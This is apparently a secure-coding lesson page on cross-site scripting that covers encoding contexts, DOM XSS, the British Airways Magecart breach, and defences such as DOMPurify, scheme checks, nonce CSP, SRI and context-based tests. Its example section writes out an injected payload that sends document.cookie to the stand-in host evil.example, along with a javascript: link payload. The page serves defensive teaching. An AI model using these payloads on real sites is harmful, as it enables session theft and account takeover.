SecLab

Cross-site scripting (XSS)

V1A05CWE-79
01

What it is

XSS is when user-controlled data is interpreted by the browser as CODE rather than content. The attacker's script runs in your origin, so it has everything your own JavaScript has: non-HttpOnly cookies, tokens in localStorage, and the ability to send requests already carrying the victim's session.

02

Why you should care

Relevance: CoreExpected: L2

What makes XSS hard is not escaping — it is context. The same string needs four different encodings depending on where it lands: HTML body, attribute value, inside <script>, or inside an href. A single escapeHtml() used everywhere is the right fix in one context and useless in the other three.

With a modern framework (React, Vue, Angular, Razor), HTML-body XSS is nearly dead because escaping is the default. That shifts all the remaining risk into three places, and those are where to look:

  1. The framework escape hatches: dangerouslySetInnerHTML, v-html, [innerHTML], @Html.Raw.
  2. DOM XSS: the data never touches your server, so neither the WAF nor your server-side tests see it.
  3. href/src accepting javascript: — HTML escaping does not help because there is no character to escape.

On impact: XSS does not stop at "stealing cookies". It is code execution in the victim's session, so it can do anything the victim can do — change the email, add an API key, move money — and it does so even with HttpOnly + SameSite cookies, because the script never needs to read the cookie to send requests with it.

03

How the attack works

The three kinds differ in where the payload TRAVELS, and that decides where you go looking for it.

Diagram source
flowchart LR    subgraph S["Stored — the worst"]        direction LR        A1[Attacker POSTs a comment] --> D[(DB)]        D --> V1[Every viewer of the page]    end    subgraph R["Reflected"]        direction LR        A2[Link carries payload] --> Sv[Server reflects it into HTML]        Sv --> V2[Victim clicks the link]    end    subgraph DM["DOM — the server never sees it"]        direction LR        A3["Link with #fragment"] --> B["Page JS reads<br/>location.hash → innerHTML"]        B --> V3[Victim clicks the link]    end

DOM XSS deserves its own note: a #fragment is never sent to the server. There is no log line, no WAF sees it, and no server-side integration test can catch it.

Four contexts, four encodings — the most important table on this page:

ContextPayload escapes viaCorrect encoding
HTML body <p>HERE</p><script>&lt; &gt; &amp;
Attribute value="HERE"" onmouseover=HTML-encode and always quote the attribute
Inside <script></script> or \JSON-encode, and <\u003c
URL href="HERE"javascript:alert(1)Validate the scheme — HTML escaping does nothing

That last row is the most-missed: javascript:alert(1) contains no character HTML escaping cares about.

Diagram description: A diagram of three groups for three kinds of XSS. Stored: the attacker POSTs a comment, the payload sits in the database and runs for everyone who views the page. Reflected: the attacker sends a link carrying the payload, the server reflects it into HTML, the victim clicks. DOM: the link carries a fragment, page JavaScript reads location.hash and writes it into innerHTML — the fragment never reaches the server, so the server sees nothing.

04

Concrete example

A profile page rendering the display name in two places plus a "personal website" link. Three contexts, three payloads, one data field.

HTTP
PATCH /api/profile HTTP/1.1Content-Type: application/json {"displayName":"<img src=x onerror=fetch('https://evil.example/?c='+document.cookie)>", "website":"javascript:fetch('/api/keys',{method:'POST'})"}

HTML produced by the vulnerable version:

html
<h1><img src=x onerror=fetch('https://evil.example/?c='+document.cookie)></h1><input value="" onmouseover="alert(1)" x=""><a href="javascript:fetch('/api/keys',{method:'POST'})">website</a><script>var user = {"name":"</script><script>alert(1)</script>"};</script>

Four lines, four contexts, and a single escape function fixes only the first. That is the whole argument of block 6.

TypeScriptThree bugs in three different contexts, inside one React component that escapes by default.
export function Profile({ user }: { user: User }) {  return (    <>      {/* React escape chỗ này đúng. Đây là 95% và nó không phải vấn đề. */}      <h2>{user.displayName}</h2>       {/* ❌ 1 — cửa thoát. "bio hỗ trợ markdown" là lý do nó luôn xuất hiện. */}      <div dangerouslySetInnerHTML={{ __html: user.bioHtml }} />       {/* ❌ 2 — href không được kiểm scheme. React KHÔNG kiểm chỗ này, và          javascript:… không chứa ký tự nào mà HTML-escaping quan tâm. */}      <a href={user.website}>website</a>       {/* ❌ 3 — DOM XSS. location.hash không bao giờ tới server, nên không có          log, không có WAF, không có integration test nào thấy nó. */}      <div ref={(el) => el && (el.innerHTML = decodeURIComponent(location.hash.slice(1)))} />    </>  );}
05

What happened in the wild

British Airways, August–September 2018 — 429,612 customers, £20m fine. Magecart injected 22 lines of modified JavaScript into a modernizr file hosted on BA's own site. The script captured payment form data on submit and posted it to baways.com. The ICO report highlights two things that matter here: BA had no integrity checking on its JS files, and did not detect the change for 15 days. This is why block 6 lists CSP and SRI — they are the only two controls on the list that detect this shape of attack.

Samy (MySpace), October 2005 — over 1 million profiles in 20 hours. Stored XSS in the CSS portion of a profile, self-replicating on view. Worth reading because it shows stored XSS spreads exponentially: every victim becomes a new source.

06

How to defend

Layer 1

Context-aware encoding, performed by the template engine

mandatory

The rule: never escape by hand. Use a framework that escapes by default (React {}, Razor @, Vue {{ }}) and let it know which context it is in. Hand-escaping fails because the author has to remember the right context in every place, forever.

Three cases the framework does NOT handle, and how to handle them:

  • Escape hatches (dangerouslySetInnerHTML, v-html, @Html.Raw): if you genuinely need user HTML, run it through an allowlist sanitiser — DOMPurify on the client, Ganss.Xss on .NET. Do not write your own; this is a problem every home-grown implementation loses.
  • URLs in href/src: validate the scheme before rendering. Only http, https, mailto. This is the check HTML encoding cannot substitute for.
  • Data embedded in <script>: do not embed it. Use <script type="application/json"> plus JSON.parse — or if you must embed, JSON-encode and turn < into \u003c.
TypeScript · Layer 1Three contexts, three different fixes: an allowlist sanitiser, scheme validation, and textContent.
import DOMPurify from "dompurify"; /** * Kiểm SCHEME, không escape. Đây là chỗ mà HTML-encoding không thay thế được: * "javascript:alert(1)" không chứa <, >, & hay dấu nháy nào, nên mọi hàm escape * đều cho nó đi qua nguyên vẹn. * * Allowlist ba scheme. "data:" KHÔNG có trong danh sách: data:text/html,<script>… * là XSS đầy đủ, và "vbscript:" thì vẫn còn sống trong một số WebView. */const SAFE_SCHEMES = new Set(["http:", "https:", "mailto:"]); function safeHref(raw: string | null | undefined): string | undefined {  if (!raw) return undefined;  try {    // Base tuỳ ý để URL tương đối vẫn parse được; ta chỉ quan tâm protocol.    const url = new URL(raw, "https://placeholder.invalid");    return SAFE_SCHEMES.has(url.protocol) ? raw : undefined;  } catch {    return undefined;   // không parse được thì không render — không "cứ thử xem".  }} export function Profile({ user }: { user: User }) {  // Sanitize lúc RENDER, không lúc lưu: cùng một dữ liệu có thể được render ở  // ngữ cảnh khác về sau, và dữ liệu vào DB từ import/job/admin không đi qua  // sanitizer nào cả.  const bio = DOMPurify.sanitize(user.bioHtml, {    ALLOWED_TAGS: ["p", "br", "strong", "em", "ul", "ol", "li", "a", "code"],    ALLOWED_ATTR: ["href"],    ALLOWED_URI_REGEXP: /^https?:\/\//i,  });   const href = safeHref(user.website);   return (    <>      <h2>{user.displayName}</h2>       <div dangerouslySetInnerHTML={{ __html: bio }} />       {/* Không có href an toàn thì render text, không render link chết. */}      {href ? <a href={href} rel="noopener noreferrer">website</a> : <span>{user.website}</span>}       {/* DOM XSS: textContent thay innerHTML. Trình duyệt không parse HTML từ          textContent, nên không có ngữ cảnh nào để thoát ra. */}      <div ref={(el) => el && (el.textContent = decodeURIComponent(location.hash.slice(1)))} />    </>  );}
Layer 2

CSP, and it has to be the nonce/hash kind

script-src 'self' is close to useless because the attacker can inject <script src="/uploads/x.js">. The CSP worth deploying looks like:

Content-Security-Policy: script-src 'nonce-{random}' 'strict-dynamic'; object-src 'none'; base-uri 'none'

'strict-dynamic' lets already-trusted script load more script, so it survives a real bundler. base-uri 'none' blocks <base> injection — a detail missing from almost every CSP in the wild. CSP does not fix XSS; it converts "can run code" into "can inject HTML that does not run".

C# · Layer 2Layer 2: nonce-based CSP with strict-dynamic. A fresh nonce per request, never reused.
/// <summary>/// CSP dạng nonce. Ba quyết định ở đây đều là chỗ CSP thực tế hay làm sai://////   • nonce sinh MỖI REQUEST. Nonce dùng lại là nonce mà kẻ tấn công đọc được từ///     một response trước rồi dùng cho payload của mình.///   • KHÔNG có 'unsafe-inline'. Đặt cùng nonce thì trình duyệt cũ dùng///     unsafe-inline và bỏ nonce — nonce thành trang trí.///   • base-uri 'none'. Bị bỏ sót ở gần như mọi CSP thật: thiếu nó, một///     <base href="https://evil"> chèn được sẽ đổi đích của mọi URL tương đối./// </summary>public sealed class CspMiddleware{    private readonly RequestDelegate _next;     public CspMiddleware(RequestDelegate next) => _next = next;     public async Task InvokeAsync(HttpContext ctx)    {        var nonce = Convert.ToBase64String(RandomNumberGenerator.GetBytes(16));        ctx.Items["csp-nonce"] = nonce;   // Razor đọc lại: <script nonce="@nonce">         ctx.Response.Headers["Content-Security-Policy"] = string.Join("; ",        [            "default-src 'self'",            // 'strict-dynamic' cho script đã tin cậy nạp thêm script — không có nó            // thì mọi bundler chia chunk động đều vỡ, và người ta sẽ tắt CSP.            $"script-src 'nonce-{nonce}' 'strict-dynamic' https:",            "style-src 'self' 'unsafe-inline'",   // CSS inline không chạy được code            "img-src 'self' data: https:",            "connect-src 'self'",            "object-src 'none'",                  // chặn <object>/<embed> Flash-era            "base-uri 'none'",                    // chặn <base> injection            "frame-ancestors 'none'",             // clickjacking, cùng một header            "form-action 'self'",                 // chặn đổi đích của form đã chèn            "require-trusted-types-for 'script'", // chặn cả họ DOM XSS ở tầng API            "report-uri /api/csp-report",         // thứ DUY NHẤT cho biết đang bị thử        ]);         await _next(ctx);    }}
Layer 2b

SRI on every third-party script

integrity="sha384-…" is the direct control for the British Airways shape of attack. Without it, a modified JS file is an executed JS file.

Layer 3

Reduce what one successful XSS is worth

Cookies with HttpOnly + SameSite=Lax + Secure. Do not keep tokens in localStorage — that is readable in one line of JS, an HttpOnly cookie is not. This is layer 3 because it does not stop XSS: the script can still send requests carrying the cookie. It only bounds the damage.

07

Verifying the fix

1. Test by CONTEXT, not by payload. Testing <script>alert(1)</script> in the HTML body says nothing about the other three contexts. The test must render the same malicious string into all four positions and assert the output in each. See the typescript / test tab.

2. Grep the escape hatches, merge-blocking — the highest-yield check here:

Shell
grep -rnE 'dangerouslySetInnerHTML|v-html|\[innerHTML\]|Html\.Raw|\.innerHTML *=' \  --include='*.tsx' --include='*.vue' --include='*.cshtml' --include='*.ts' src/ \  | grep -v 'sanitize\|DOMPurify' \  && { echo "HTML escape hatch without a sanitiser — blocked"; exit 1; }exit 0

3. Check the CSP is actually served, and is the right kind:

Shell
H=$(curl -sI https://app.example.com/ | tr -d '\r')echo "$H" | grep -qi "content-security-policy:.*nonce-" \  || { echo "CSP missing or not nonce-based"; exit 1; }echo "$H" | grep -qi "unsafe-inline" \  && { echo "CSP contains unsafe-inline — the nonce is now meaningless"; exit 1; }echo "$H" | grep -qi "base-uri" || echo "WARNING: base-uri missing"

unsafe-inline alongside a nonce is the most common mistake: older browsers honour unsafe-inline and ignore the nonce.

4. Check SRI on every external script:

Shell
curl -s https://app.example.com/ \  | grep -oE '<script[^>]+src="https?://[^"]+"[^>]*>' \  | grep -v integrity= \  && { echo "External script without SRI"; exit 1; }exit 0

5. Turn on CSP report-to and watch it. An unusual report is the signal that XSS is being attempted — the only item on this list that tells you while it is happening, and the thing BA lacked for 15 days.

TypeScriptTest by CONTEXT: one payload rendered into four positions, asserted separately in each.
import { render } from "@testing-library/react"; /** * Cấu trúc của bộ test này là điểm chính, không phải các payload: * cùng MỘT chuỗi độc hại được render vào BỐN ngữ cảnh, và mỗi ngữ cảnh có một * khẳng định riêng. Test một payload ở thân HTML rồi kết luận "đã vá XSS" là * cách mà ba ngữ cảnh còn lại lọt qua. */describe("Profile — mã hoá theo ngữ cảnh", () => {  const PAYLOADS = {    htmlBody: '<img src=x onerror="window.__pwned=1">',    attribute: '" onmouseover="window.__pwned=1" x="',    scriptCtx: '</script><script>window.__pwned=1</script>',    urlScheme: 'javascript:window.__pwned=1',  };   beforeEach(() => { delete (window as any).__pwned; });   it("thân HTML: tag nguy hiểm bị sanitizer loại bỏ", () => {    const { container } = render(<Profile user={u({ bioHtml: PAYLOADS.htmlBody })} />);     expect(container.querySelector("img")).toBeNull();    expect(container.innerHTML).not.toContain("onerror");  });   it("href: scheme javascript: không được render", () => {    const { container } = render(<Profile user={u({ website: PAYLOADS.urlScheme })} />);     const a = container.querySelector("a");    // Không có <a> nào, hoặc có mà href không phải javascript: — cả hai đều đạt.    expect(a?.getAttribute("href") ?? "").not.toMatch(/^javascript:/i);    expect((window as any).__pwned).toBeUndefined();  });   it("attribute: dấu nháy không thoát ra được", () => {    const { container } = render(<Profile user={u({ displayName: PAYLOADS.attribute })} />);     expect(container.querySelector("[onmouseover]")).toBeNull();  });   /**   * DOM XSS. Chỉ test này chạm tới được nó, vì fragment không bao giờ đi tới   * server — nên không có test server-side nào thấy nó.   */  it("fragment: hash được ghi bằng textContent, không phải innerHTML", () => {    window.location.hash = "#" + encodeURIComponent(PAYLOADS.htmlBody);     const { container } = render(<Profile user={u({})} />);     expect(container.querySelector("img")).toBeNull();    // Chuỗi vẫn hiện ra — dưới dạng CHỮ, đó mới là đúng.    expect(container.textContent).toContain("<img src=x");  });});
08

Common mistakes

The "fix"Why it is wrong
One escapeHtml() used everywhereRight in the HTML body, useless inside <script>, and blind to javascript: in an href
Strip <script> from input<img onerror=>, <svg onload=>, <iframe srcdoc=>, <body onpageshow=> — the list does not end
Sanitise on SAVE rather than on RENDERThe same data later renders in a different context. And data arrives in the DB by other paths (imports, jobs, admin) that pass no sanitiser
Write your own HTML sanitiserA problem every home-grown version loses. mXSS via namespace confusion is the example: <svg><style><img src=x onerror=…>
encodeURIComponent for an hrefIt encodes the path, it does not validate the scheme. javascript:alert(1) passes through intact
CSP script-src 'self'The attacker injects <script src="/uploads/avatar.js">, or abuses a same-origin JSONP endpoint
A CSP with both a nonce and unsafe-inlineOlder browsers honour unsafe-inline; the nonce becomes decoration
"Cookies are HttpOnly so XSS is fine"The script still sends requests carrying that cookie. It never needs to read it to use it

The kind mistake: testing only reflected XSS. DOM XSS never reaches the server, so the entire server-side test suite and the WAF are blind to it. It needs a test in a real browser.

The trust mistake: "React escapes for us, so we are safe". React escapes the HTML body. It does not validate href={userUrl} — and javascript: in an href is full XSS inside an otherwise clean React app.

09

References

Tier 1A03:2021 – Injection (XSS) · OWASP · Top 10 · 2021
Tier 1Content Security Policy Level 3 · W3C · Working Draft · CSP3
Tier 1Subresource Integrity · W3C · Recommendation · SRI 1
Tier 2Cross-site scripting · PortSwigger · Web Security Academy
Tier 2Cross Site Scripting Prevention Cheat Sheet · OWASP · Cheat Sheet Series
Tier 2DOM based XSS Prevention Cheat Sheet · OWASP · Cheat Sheet Series
Part of path
Secure Backend DeveloperView path

Comments

Join the discussion
Sign up to comment

Commenting needs an account with at least one completed lesson. That condition is what keeps this thread worth reading: every point belongs to someone who can be asked back, and reputation accrues over time.

Sign upSign in

You can still read every comment below without an account. Signing in brings you back to this exact spot, not to the top of the page.

Loading comments…